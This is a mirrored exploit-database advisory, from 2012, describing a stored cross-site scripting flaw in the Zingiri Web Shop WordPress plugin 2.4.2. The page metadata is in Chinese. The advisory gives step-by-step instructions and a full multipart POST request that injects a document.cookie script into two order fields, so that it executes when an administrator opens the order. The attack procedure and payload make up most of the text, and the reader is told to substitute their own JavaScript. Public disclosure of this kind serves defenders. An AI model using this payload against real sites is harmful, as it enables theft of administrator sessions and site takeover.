WordPress Plugin Zingiri Web Shop 2.4.2 – Persistent Cross-Site Scripting

• Exploit Database
• 13 阅读

• 作者： Mehmet Ince
  日期： 2012-05-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18806/

• ##############################################################################
  # WordPress Zingiri Web Shop Plugin <= 2.4.2 Stored XSS
  # Exploit Title: WordPress Zingiri Web Shop Plugin <= 2.4.0 Stored XSS
  # Google Dork:
  # Date: 30 Apr 2012
  # Author: Mehmet Ince
  # Twitter: https://twitter.com/#!/mmetince
  # Company: Bilgi Guvenligi Akademisi ( www.bga.com.tr )
  #
  # Software Link: 
  # http://downloads.wordpress.org/plugin/zingiri-web-shop.2.4.2.zip
  # Version: 2.4.2
  # Tested on: ubuntu 11.10 with apache server on the Firefox browser.
  ##############################################################################
  
  Few days ago i discovered two XSS vulnerabilities at Zingiri wp-plugin.
  After that script version updated 2.4.2 and bug fixed.
  When i realized that i checked the lastest script to learn, "what did they
  for securing code ?"
  http://www.exploit-db.com/exploits/18787/
  
  
  i saw aphpsSanitize() method atvulnerable section. aphpsSanitize() pretty
  cool for preventing XSS.
  
  But what a luck, i discovered something else.
  Now, time to explain our new bug. That's almost same with my oldest but
  more complicated.
  
  
  step 1: Login to wordpress.
  
  step 2: Go to "Shop" menu. It's should be stay at banner.
  
  step 3: Than you'll see list ot items. Click one "t-shirt" item.
  
  step 4.1: Star Firefox's extension "Tamper Data"
  step 4: You can pass that form action. That wont be problem..! Click to
  "Order" button.
  
  -----------------------------16079283545224173541938629871\r\nContent-Disposition:
  form-data;
  name="prodid"\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
  form-data;
  name="prodprice"\r\n\r\n35.95\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
  form-data;
  name="featuresets"\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
  form-data;
  name="wsfeature1[]"\r\n\r\n"><script>alert(document.cookie)</script>\r\n\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
  form-data;
  name="wsfeature2[]"\r\n\r\n\"><script>alert(document.cookie)</script>\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
  form-data;
  name="numprod[]"\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition:
  form-data;
  name="sub"\r\n\r\nOrder\r\n-----------------------------16079283545224173541938629871--\r\n
  
  write your javascript payload to wsfeature1[] and wsfeature2[] variable.
  
  step 4.2: After you send POST request. you'll see some pop-ups. click ok
  and go
  
  step 5: There is confirmation about the Shopping. Click "checkout" to pass
  that page.
  
  step 6: Click to "Checkout"
  
  step 7: When administrator open your order details. Your javascript
  payload'll come from database and execute on the administrator side.
  But victem have to click detail of your order. Like that "WEB20128-08".